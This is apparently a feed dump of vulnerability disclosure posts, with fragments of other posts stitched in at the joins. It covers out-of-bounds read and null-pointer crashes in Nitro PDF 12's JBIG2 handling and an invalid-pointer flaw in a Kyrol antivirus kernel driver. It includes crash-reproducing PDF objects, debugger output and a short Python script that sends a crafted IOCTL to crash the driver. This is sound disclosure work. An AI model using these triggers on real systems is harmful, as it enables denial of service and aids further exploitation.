</code></pre></div></div>Introduction Last December, I decided to continue fuzzing on Nitro PDF software. I wrote a harness for Nitro PDF reader and fuzzing it with WinAFL. While writing and debugging (try and error lol) the issue for my harness, I plan to run another fuzzer which is CERT Basic Fuzzing Framework (BFF) and let it run for few couple of days just to see if there’s any bug or crashes found. CERT BFF is a software-testing tool that performs mutational fuzzing on software that consumes file input. Mutational fuzzing is the act of taking well-formed input data and corrupting it in various ways, looking for cases that cause crashes. The BFF automatically collects test cases that cause software to crash in unique ways, and debugs information associated with the crashes.Nitro PDF 12 - Multiple Remote Code Execution Vulnerability2019-12-12T05:39:03+00:002019-12-12T05:39:03+00:00https://zeifan.my/multiple-nitro-pdf-vulnerability<h2 id="overview">Overview</h2>
<p>Nitro Software, Inc. develops commercial software used to create, edit, sign, and secure Portable Document Format files and digital documents. The company has over 650,000 business customers worldwide, and claims millions of users across the globe.</p>
<h2 id="vulnerability-description">Vulnerability Description</h2>
<p>Earlier this year, I decided to do some fuzzing on Nitro PDF software. The software itself is a commercial PDF software that supports create, edit, sign and securing PDF files. However, the code behind the Nitro uses famous library known JBIG2Decode. Plenty of vulnerabilities found during fuzzing but not enough time to triage all. Here’s are some of the example that was sent to vendor. I found out Talos Security team found numbers of vulnerability in Nitro PDF and the info can be found <a href="https://blog.talosintelligence.com/2019/10/vuln-spotlight-Nitro-PDF-RCE-bugs-sept-19.html">here</a>.</p>
<p>Tested version: 12.0.0.112</p>
<h2 id="cve-2019-19817---npdfcappdannothandlerutilspdannothandlerdestroydata20x2e8a-jbig2decode-out-of-bounds-read-vulnerability">CVE-2019-19817 - (npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x2e8a) JBIG2Decode Out-of-Bounds Read Vulnerability</h2>
<p>An exploitable out-of-bounds read vulnerability exists in the handling of JBIG2Decode object stream attributes of Nitro PDF Reader version 12.0.0.112. A specially crafted PDF document can trigger an out-of-bounds read, which can disclose sensitive memory content and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability. The exception happened on the <strong>npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x2e8a</strong>.</p>
<p>The OOB issue found when it parse the object stream, where it failed to decode the unicode character found in the stream. This happened when it tries to process the following example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>4 0 obj
<< /Length 103
>>
stream
���������\��
����\ö €üYYYYYPPPPPPPPPPPPPPPPPPPPPPPPPPPpPPPPPPPPPS³:>0¨ÿ+1lV?~~èa"xvi´–„#ÿ¬
endstream
endobj
5 0 obj
<< /DecodeParms << /JBIG2Globals 4 0 R >>
/Width 32
/ColorSpace /DeviceGray
/Height 32
/Filter /JBIG2Decode
/Subtype /Image
/Length 76
/Type /XObject
/BitsPerComponent 1
>>
stream
���0������� ��� ���G���G������"����"��� ��� ��������������žèTìßë N“ÿ¬
endstream
endobj
</code></pre></div></div>
<p>An access violation happened when open the PDF file with Nitro PDF. Example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(1b18.1274): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\12\npdf.dll -
npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x2e8a:
00007ff9`28f44bea 443b4b10 cmp r9d,dword ptr [rbx+10h] ds:00000000`00000010=????????
</code></pre></div></div>
<p>Analyzing thru the vulnerable code found that the heap overflow happened when the library JBIG2DECODE embedded in npdf.dll attempt to read in memory. Crash code path:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00000001803A4BE1 lea r9d, [rdx+r14]
.text:00000001803A4BE5 test r9d, r9d
.text:00000001803A4BE8 js short loc_1803A4C5D
.text:00000001803A4BEA cmp r9d, [rbx+10h] ; exception here
</code></pre></div></div>
<p>Attempt to read from memory:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> .exr -1
ExceptionAddress: 00007ff928f44bea (npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x0000000000002e8a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000000000010
Attempt to read from address 0000000000000010
</code></pre></div></div>
<h2 id="cve-2019-19818---npdfcappdannothandlerutilspdannothandlerdestroydata20xa08a-jbig2decode-out-of-bounds-read-vulnerability">CVE-2019-19818 - (npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0xa08a) JBIG2Decode Out-of-Bounds Read Vulnerability</h2>
<p>An exploitable out-of-bounds read vulnerability exists in the handling of JBIG2Decode object stream attributes of Nitro PDF Reader version 12.0.0.112. A specially crafted PDF document can trigger an out-of-bounds read, which can disclose sensitive memory content and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.</p>
<p>The OOB issue found when it parse the object stream, where it failed to decode the unicode character found in the stream. This happened when it tries to process the following example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>4 0 obj
<< /Length 103
>>
stream
���������\��ÿýÿþþþ������}\åõ£!õÜFæ:÷BSö?
âI�vœÐû|íx\Lúùr?/UÄS³:>2¨ÿ+1lV?~~èa"xvi´–„#ÿ¬
endstream
endobj
5 0 obj
<< /DecodeParms << /JBIG2Globals 4 0 R >>
/Width 32
/ColorSpace /DeviceGray
/Height 32
/Filter /JBIG2Decode
/Subtype /Image
/Length 138
/Type /XObject
/BitsPerComponent 1
>>
stream
���0������� ��ÿÿõ
%�G��������"���������������ÿÿæ�����"����¨€����������ÿÿæ����
"����"���û�� ���� ÿÿÿé��H�á�è:ÿú!€€“ÿ¬
endstream
</code></pre></div></div>
<p>An access violation happened when open the PDF file with Nitro PDF. Example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(3dc.17d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\12\npdf.dll - npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0xa08a: 00007ff9`28f4bdea 4c8b1cc1 mov r11,qword ptr [rcx+rax*8] ds:000001f3`bf88f020=????????????????
</code></pre></div></div>
<p>Looking at the function <strong>npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2</strong>, we assume that this API is used to destroy the object (deallocated from memory). We observe the heap on WinDBG and get this result:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> !heap -p -a 000001f3`bf88f020
address 000001f3bf88f020 found in
_DPH_HEAP_ROOT @ 1f380001000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize- VirtAddr VirtSize)
1f3be999c30: 1f3bf88ef60 a0- 1f3bf88e000 2000
00007ff9682c6cf7 ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007ff96826ca9e ntdll!RtlpAllocateHeap+0x000000000009d23e
00007ff9681cda21 ntdll!RtlpAllocateHeapInternal+0x0000000000000991
00007ff951c56a57 MSVCR120!malloc+0x000000000000005b [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
00007ff928f4ae3c npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x00000000000090dc
00007ff928f4a523 npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x00000000000087c3
00007ff928f43c20 npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x0000000000001ec0
00007ff928f43252 npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x00000000000014f2
00007ff928f43c86 npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x0000000000001f26
00007ff928e0b13d npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x000000000000897d
00007ff928e0aad2 npdf!CAPPDAnnotHandlerUtils::create_popup_for_markup+0x0000000000008312
00007ff928d51d4c npdf!CAPFileSpecifier::SetType+0x00000000000069dc
00007ff928d51c2e npdf!CAPFileSpecifier::SetType+0x00000000000068be
00007ff928d519d2 npdf!CAPFileSpecifier::SetType+0x0000000000006662
00007ff928cc17eb npdf!CosStreamSetStm+0x00000000000004ab
00007ff928cc120b npdf!CosStreamOpenStm+0x000000000000000b
00007ff928ed9374 npdf!nitro::forms::get_widget_type+0x00000000000c83d4
00007ff928e602ce npdf!nitro::forms::get_widget_type+0x000000000004f32e
00007ff928ee5e6e npdf!nitro::forms::get_widget_type+0x00000000000d4ece
00007ff928d93860 npdf!CxIOFile::Write+0x0000000000009820
00007ff928d95b97 npdf!CxIOFile::Write+0x000000000000bb57
00007ff928d8d1c6 npdf!CxIOFile::Write+0x0000000000003186
00007ff928db1de5 npdf!CxIOFile::Write+0x0000000000027da5
00007ff928d94a5b npdf!CxIOFile::Write+0x000000000000aa1b
00007ff928d017b8 npdf!PDWordGetString+0x0000000000003b18
00007ff928d02d71 npdf!PDPageDrawContentsWithParamsEx+0x0000000000000071
00007ff676ddcebe NitroPDF!CxIOFile::Write+0x00000000000994be
00007ff676de23fc NitroPDF!CxIOFile::Write+0x000000000009e9fc
00007ff928884b26 mfc120u!CView::OnPaint+0x000000000000005a [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp @ 186]
00007ff928899079 mfc120u!CWnd::OnWndMsg+0x00000000000005dd [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 2449]
00007ff928898a68 mfc120u!CWnd::WindowProc+0x0000000000000038 [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 2094]
00007ff928896422 mfc120u!AfxCallWndProc+0x000000000000010e [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 282]
</code></pre></div></div>
<p>From the heap result, we can tell the final execution failed to deallocated object
from memory thus resulting out-of-bound read. Exception address:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> .exr -1
ExceptionAddress: 00007ff928f4bdea
(npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x000000000000a08a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 000001f3bf88f020
Attempt to read from address 000001f3bf88f020
</code></pre></div></div>
<h2 id="cve-2019-19819---npdfcappdannothandlerutilspdannothandlerdestroydata20x90ec-jbig2globals-null-pointer-dereference-vulnerability">CVE-2019-19819 - (npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x90ec) JBIG2Globals Null Pointer Dereference Vulnerability</h2>
<p>A NULL Pointer Dereference vulnerability exists in the handling of JBIG2Globals object stream attributes of Nitro PDF Reader version 12.0.0.112. A specially crafted PDF document can trigger the NULL Pointer, result in the failure of the processing the exception handling. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.</p>
<p>The NULL Pointer issue found when it parse the object stream, where it failed to decode the unicode character found in the stream. This happened when it tries to process the following example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>4 0 obj
<< /Length 103
>>
stream
���������\��ÿýÿþþþ������}\åõ£!õÜFæ:÷BSö? âI�vœÐû|íx\Lúùr?/UÄS³:>2¨ÿ+1lV?~~èa"xvi´–„#ÿ¬
endstream
endobj
5 0 obj
w
/Width 32
/ColorSpace /DeviceGray
/Height 32
/Filter /JBIG2Decode
/Subtype /Image
/Length 261
/Type /XObject
/BitsPerComponent 1
>>
stream
���0������� �ÿÿ�G���O������¤"����"��������€���@�Êÿÿ�@�Gÿ��Fÿÿü����¦"����"�������ÿÿÿßòGÿÊ����¤"ÿ��Fÿÿü���!¦*����"���`���o�ÿÿ���G�� ����G���O������¤"����"��������€���@�Éëÿÿ�@�Gÿ��Fÿÿü���«*����"���`����ÿÿ���GÿÿÊèÿ���N���_ÿ€�
endstream
endobj
</code></pre></div></div>
<p>An access violation happened when open the PDF file with Nitro PDF. Example:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(1f94.1e0c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Nitro\Pro\12\npdf.dll -
npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x90ec:
00007ff9`28f4ae4c f348ab rep stos qword ptr [rdi]
</code></pre></div></div>
<p>Analyzing thru the vulnerable code found that the NULL Pointer happened when the library JBIG2Globals embedded in npdf.dll attempts to write to memory. Crash code path:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00000001803AAE2B mov r15d, edi
.text:00000001803AAE2E lea rcx, ds:0[rdi*8] ; Size
.text:00000001803AAE36 call cs:__imp_malloc
.text:00000001803AAE3C mov [rbp+90h+Memory], rax
.text:00000001803AAE40 test edi, edi
.text:00000001803AAE42 jz short loc_1803AAE4F
.text:00000001803AAE44 mov rdi, rax
.text:00000001803AAE47 xor eax, eax
.text:00000001803AAE49 mov ecx, r15d
.text:00000001803AAE4C rep stosq
</code></pre></div></div>
<p>An attempt to write in to address and registers:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> .exr -1
ExceptionAddress: 00007ff928f4ae4c (npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x00000000000090ec)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000001
Parameter[1]: 0000000000000000
Attempt to write to address 0000000000000000
0:000> r
rax=0000000000000000 rbx=000000ce295faba0 rcx=00000000ff000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=00007ff928f4ae4c rsp=000000ce295fa850 rbp=000000ce295fa9b0
r8=0000000000000008 r9=000000000000005d r10=0000000000000016
r11=000000ce295f9fc8 r12=0000000000000000 r13=0000000000000020
r14=0000029bab05dfd0 r15=00000000ff000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
npdf!CAPPDAnnotHandlerUtils::PDAnnotHandlerDestroyData2+0x90ec:
0007ff9`28f4ae4c f348ab rep stos qword ptr [rdi]
</code></pre></div></div>
<p><strong>Disclosure timeline</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2019-03-13 - Reported first bug to Nitro Security team.
* within this timeline, no update from vendor
2019-08-20 - Sent another (two vulnerability) issue to them.
2019-12-03 - Nitro security lead reponse to my email (after so many months) saying that the issue has been resolved.
2019-12-06 - New version released. Tested with latest version 13.8.2.140 to verify the fixes. Issue resolved.
2019-12-11 - Asking for credit and CVEs, vendor saying that they're not part of CNA nor collecting any CVEs for their product. They saying that researcher need to request their own CVE and then Nitro will put it as reference in their website.
2019-12-12 - Advisory released. Next is to request CVEs.
2019-12-17 - CVEs assigned
</code></pre></div></div>Overview Nitro Software, Inc. develops commercial software used to create, edit, sign, and secure Portable Document Format files and digital documents. The company has over 650,000 business customers worldwide, and claims millions of users across the globe.CVE-2019-19197 - (0-Day) Kyrol Internet Security (2015) - kyrld.sys Driver Invalid Pointer Vulnerability2019-12-04T05:39:03+00:002019-12-04T05:39:03+00:00https://zeifan.my/kyrol-internet-security-invalid-pointer-vulnerability<h2 id="description">Description</h2>
<p>Kyrol Internet Security (2015) is an Antivirus product made in Malaysia. The product basically cover most of the basic Antivirus features including a scanning engine, database update and few more other stuff. This writeup, I will go with the other vulnerability which is quite trivial to spot, an invalid pointer in IOCTL handling. You might find this almost similar to the previous writeup.</p>
<h2 id="technical-analysis">Technical Analysis</h2>
<p>A vulnerability in kyrdl.sys driver has been discovered in Kyrol Internet Security (2015).
The vulnerability exists due to insufficient input buffer validation when the driver processes IOCTL codes 0x9C402405 using METHOD_NEITHER and due to insecure permissions allowing everyone read and write access to privileged use only functionality. Attackers can exploit this issue to execute arbitrary code in kernel space or cause Denial of Service (DoS).</p>
<p>We can use WinObj by Sysinternals to verify the object device are indeed accessible by user-mode. In the “GLOBAL??”, we can scroll until we see “10774948FAA234777974ED537F346B29F” which is work as SymbolicLink to device “1036EC9A3100C4296A350F32080965C40”. As we analyzed before, it creates a symbolic link to “10774948FAA234777974ED537F346B29F”. Verifying the security access, we can see the permission for “1036EC9A3100C4296A350F32080965C40” is open to Everyone with capability to Read and Write, which means any user can send / trigger IOCTL directly to the kernel driver. We will see the DACL object in debugger later. Continue sending to IOCTL via user-mode to the kernel to trigger BSOD. The first issue as shown below. Successful sending the IOCTL resulting this on our debugger (WinDBG):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BugCheck 50, {ffffce8f23002000, 0, fffff80380af329c, 2}
*** WARNING: Unable to verify timestamp for kyrdl.sys
*** ERROR: Module load completed but symbols could not be loaded for kyrdl.sys
Could not read faulting driver name
Probably caused by : kyrdl.sys ( kyrdl+329c )
... cut here ...
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffce8f23002000, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80380af329c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
... cut here ...
1: kd> .trap 0xfffffb8f885645a0
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000054bf7 rbx=0000000000000000 rcx=ffffce8f22d5c040
rdx=ffffce8f3141ca10 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80380af329c rsp=fffffb8f88564730 rbp=ffffce8f292c66f0
r8=0000000000000fff r9=ffffb801a8c56000 r10=0000000000000002
r11=fffffb8f885646d0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
kyrdl+0x329c:
fffff803`80af329c 488b44c104 mov rax,qword ptr [rcx+rax*8+4] ds:ffffce8f`23001ffc=????????????????
</code></pre></div></div>
<p>The reason user mode can send trigger the IOCTL is the Security Descriptor access open to “Everyone”:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kd> !sd fffff8a000087930 0x1
->Revision: 0x1
->Sbz1 : 0x0
->Control : 0x8814
SE_DACL_PRESENT
SE_SACL_PRESENT
SE_SACL_AUTO_INHERITED
SE_SELF_RELATIVE
->Owner : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl :
->Dacl : ->AclRevision: 0x2
->Dacl : ->Sbz1 : 0x0
->Dacl : ->AclSize : 0x5c
->Dacl : ->AceCount : 0x4
->Dacl : ->Sbz2 : 0x0
->Dacl : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl : ->Ace[0]: ->AceFlags: 0x0
->Dacl : ->Ace[0]: ->AceSize: 0x14
->Dacl : ->Ace[0]: ->Mask : 0x001201bf
->Dacl : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)
</code></pre></div></div>
<h2 id="vulnerability-analysis">Vulnerability Analysis</h2>
<p>DriverEntry starts at 0x19478 and ends at 0x19491. It first perform some bug checking at “sub_1941C”. This section contains descriptions of the common bug checks, including the parameters passed to the blue screen. It also describes how you can diagnose the fault which led to the bug check, and possible ways to deal with the error. If it pass, it will continue the execution until address 0x19491 which is a ump instruction to function “sub_19010”.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:0000000000019478 sub rsp, 28h
INIT:000000000001947C mov r8, rdx
INIT:000000000001947F mov r9, rcx
INIT:0000000000019482 call sub_1941C ; call to perform bug checking, etc.
INIT:0000000000019487 mov rdx, r8 ; continue executing here after pass bug checking
INIT:000000000001948A mov rcx, r9
INIT:000000000001948D add rsp, 28h
INIT:0000000000019491 jmp sub_19010 ; jump to sub_19010
INIT:0000000000019491 DriverEntry endp
</code></pre></div></div>
<p>We continue analyzing at the “sub_19010”. The address for the function start from 0x19010 and ends at 0x19470. Starting at the address 0x19023 until 0x19044, the driver perform an initializes of a resource variable. According to MSDN, “You can use the ERESOURCE structures to implement read/writer locking in your driver. The system provides a set of routines to manipulate the ERESOURCE structures, which are documented in this section.”</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:0000000000019023 lea rcx, Resource ; Resource
INIT:000000000001902A call cs:ExInitializeResourceLite
INIT:0000000000019030 lea rcx, stru_162D0 ; Resource
INIT:0000000000019037 call cs:ExInitializeResourceLite
INIT:000000000001903D lea rcx, stru_16338 ; Resource
INIT:0000000000019044 call cs:ExInitializeResourceLite
</code></pre></div></div>
<p>At the address 0x1904A until 0x1908E, it call IoCreateDevice and creates a device object for use by a driver. It is initialized through the RtlInitUnicodeString API. “Device” string is a device name in the object manager. After successfully creating the object, it proceeds to DRIVER_OBJECT processing.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:000000000001904A lea rdx, SourceString ; "\\Device\\1036EC9A3100C4296A350F3208096"...
INIT:0000000000019051 lea rcx, DeviceName ; DestinationString
INIT:0000000000019058 call cs:RtlInitUnicodeString
INIT:000000000001905E lea rdx, DeviceObject
INIT:0000000000019065 mov [rsp+30h], rdx ; DeviceObject
INIT:000000000001906A mov byte ptr [rsp+28h], 0 ; Exclusive
INIT:000000000001906F mov dword ptr [rsp+20h], 100h ; DeviceCharacteristics
INIT:0000000000019077 mov r9d, 22h ; DeviceType
INIT:000000000001907D lea r8, DeviceName ; DeviceName
INIT:0000000000019084 xor edx, edx ; DeviceExtensionSize
INIT:0000000000019086 mov rcx, [rsp+0D0h] ; DriverObject
INIT:000000000001908E call cs:IoCreateDevice
</code></pre></div></div>
<p>Analysis of our IRP dispatch routine with its major functions (below). At this point we know that the handler can perform device control of IRP (0x70), close (0x80) and query security information value (0xE).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:00000000000190CF mov rcx, [rsp+0D0h]
INIT:00000000000190D7 lea rax, sub_18660 ; "sub_18660" act as IRP handler
INIT:00000000000190DE mov [rcx+70h], rax ; 0x70 = IRP_MJ_DEVICE_CONTROL
INIT:00000000000190E2 mov rcx, [rsp+0D0h]
INIT:00000000000190EA lea rax, sub_18660 ; "sub_18660" act as IRP handler
INIT:00000000000190F1 mov [rcx+80h], rax ; 0x80 = IRP_MJ_CLOSE
INIT:00000000000190F8 mov rcx, [rsp+0D0h]
INIT:0000000000019100 lea rax, sub_186E0 ; "sub_186E0" act as IRP handler
INIT:0000000000019107 mov [rcx+0E0h], rax ; 0xE = IRP_MJ_QUERY_SECURITY
</code></pre></div></div>
<p>Then it proceed creating another device at address 0x1910E and use the value from address 0x191AC.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:000000000001910E lea rax, aDosdevices ; "\\DosDevices\\"
INIT:0000000000019115 mov [rsp+0C8h+anonymous_1], rax
INIT:000000000001911D lea rax, word_16130 ; space for the device string created
INIT:0000000000019124 mov [rsp+0C8h+anonymous_2], rax
INIT:000000000001912C mov rax, [rsp+0C8h+anonymous_2]
INIT:0000000000019134 mov [rsp+0C8h+anonymous_3], rax
... cut here ...
INIT:00000000000191AC lea rsi, a10774948faa234 ; "10774948FAA234777974ED537F346B29F"
INIT:00000000000191B3 mov ecx, 44h
INIT:00000000000191B8 rep movsb
</code></pre></div></div>
<p>Successfully creating, it then call the device string created to initialized and create a symbolic link to the device object.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>INIT:00000000000191BA lea rdx, word_16130 ; SourceString
INIT:00000000000191C1 lea rcx, SymbolicLinkName ; DestinationString
INIT:00000000000191C8 call cs:RtlInitUnicodeString
INIT:00000000000191CE lea rdx, DeviceName ; DeviceName
INIT:00000000000191D5 lea rcx, SymbolicLinkName ; SymbolicLinkName
INIT:00000000000191DC call cs:IoCreateSymbolicLink
</code></pre></div></div>
<p>Most of the IRP parametres are in the IO_STACK_LOCATION. A driver accesses its IO_STACK_LOCATION using IoGetCurrentIrpStackLocation routine. This part can be treat as input parameter. Current stack location as in following code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PAGE:000000000001877A cmp [rsp+68h+var_14], 9C402405h
PAGE:0000000000018782 jz short loc_187B4
</code></pre></div></div>
<p>Triggering the IOCTL 0x9C402405 required another parameter in order for it to successfully trigger.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PAGE:00000000000187B4 cmp [rsp+68h+var_38], 0
PAGE:00000000000187B9 jz short loc_187EA
PAGE:00000000000187BB mov rax, [rsp+68h+Irp]
PAGE:00000000000187C0 mov rax, [rax+18h]
PAGE:00000000000187C4 mov [rsp+68h+var_48], rax
PAGE:00000000000187C9 call sub_13350
PAGE:00000000000187CE mov rcx, [rsp+68h+var_48]
PAGE:00000000000187D3 call sub_13230
PAGE:00000000000187D8 call sub_13370
PAGE:00000000000187DD mov r11, [rsp+68h+Irp]
PAGE:00000000000187E2 mov qword ptr [r11+38h], 0
</code></pre></div></div>
<p>Final path is at “sub_13230” and the root cause of the vulnerability:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0000000000013230 mov [rsp+arg_0], rcx
.text:0000000000013235 sub rsp, 48h
.text:0000000000013239 mov rax, [rsp+48h+arg_0]
.text:000000000001323E mov [rsp+48h+var_28], rax
.text:0000000000013243 mov edx, 1
.text:0000000000013248 lea rcx, qword_163A8
.text:000000000001324F call sub_11180
.text:0000000000013254 mov [rsp+48h+var_20], 0
.text:000000000001325D jmp short loc_1326D
... cut here ...
.text:000000000001325F loc_1325F: ; CODE XREF: sub_13230+89j
.text:000000000001325F mov rax, [rsp+48h+var_20]
.text:0000000000013264 add rax, 1
.text:0000000000013268 mov [rsp+48h+var_20], rax
... cut here ...
.text:000000000001326D mov rax, [rsp+48h+var_28]
.text:0000000000013272 mov eax, [rax]
.text:0000000000013274 cmp [rsp+48h+var_20], rax
.text:0000000000013279 jnb short loc_132BB
.text:000000000001327B mov edx, 10h ; NumberOfBytes
.text:0000000000013280 xor ecx, ecx ; PoolType
.text:0000000000013282 call cs:ExAllocatePool ; allocate 0x10
.text:0000000000013288 mov [rsp+48h+var_10], rax ; corrupted pointer starts here
.text:000000000001328D mov rdx, [rsp+48h+var_10] ; we can control here
.text:0000000000013292 mov rcx, [rsp+48h+var_28] ; we can control here
.text:0000000000013297 mov rax, [rsp+48h+var_20] ; we can control here, RAX will cause pointer corrupted
.text:000000000001329C mov rax, [rcx+rax*8+4] ; when perform a check, an invalid pointer happened here
.text:00000000000132A1 mov [rdx], rax
.text:00000000000132A4 mov rdx, [rsp+48h+var_10]
.text:00000000000132A9 add rdx, 8
.text:00000000000132AD lea rcx, qword_163A8
.text:00000000000132B4 call sub_11050
</code></pre></div></div>
<h2 id="proof-of-concept">Proof-of-Concept</h2>
<p>Few lines of Python should sufficient enough to trigger the vulnerability. The bug itself is a read primitive so I will leave the rest to you to figure out.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import ctypes, sys
from ctypes import *
kernel32 = windll.kernel32
hDevice = kernel32.CreateFileA("\\\\.\\10774948FAA234777974ED537F346B29F", 0xC0000000, 0, None, 0x3, 0, None)
buffer = "A"*2048
buffer_length = len(buffer)
kernel32.DeviceIoControl(hDevice, 0x9C402405, buffer, buffer_length, None, 0, byref(c_ulong()), None)
</code></pre></div></div>
<p><strong>Disclosure timeline</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2019-01-02 - Reported to Kyrol Labs (via email)
2019-01-04 - Vendor ack but they seems to be confuse what is happening.
2019-04-18 - Ask for update, they said give another 2 weeks.
2019-04-18 - NACSA steps in (Thanks Abu!). Video conferencing with the NACSA (twice!).
2019-07-03 - Second meeting with NACSA and vendor. Vendor told us they will come up with new product by October 2019.
2019-09-01 - Third meeting with NACSA and vendor (before we presenting at POC in Korea). Kyrol couldn't release the new product at that time. Considering it as 0-day!
2019-11-07 - We present our findings in POC conference in Korea.
2019-12-04 - Full disclosure. Will look forward to request CVE's for this :)
2019-12-17 - CVE assigned, CVE-2019-19820.
</code></pre></div></div>
<p>Happy Hacking!</p>Description Kyrol Internet Security (2015) is an Antivirus product made in Malaysia. The product basically cover most of the basic Antivirus features including a scanning engine, database update and few more other stuff. This writeup, I will go with the other vulnerability which is quite trivial to spot, an invalid pointer in IOCTL handling. You might find this almost similar to the previous writeup.CVE-2019-19197 - (0-Day) Kyrol Internet Security (2015) - Multiple Vulnerability in Kernel Driver2019-11-16T05:39:03+00:002019-11-16T05:39:03+00:00https://zeifan.my/kyrol-internet-security-driver-issue<h2 id="description">Description</h2>
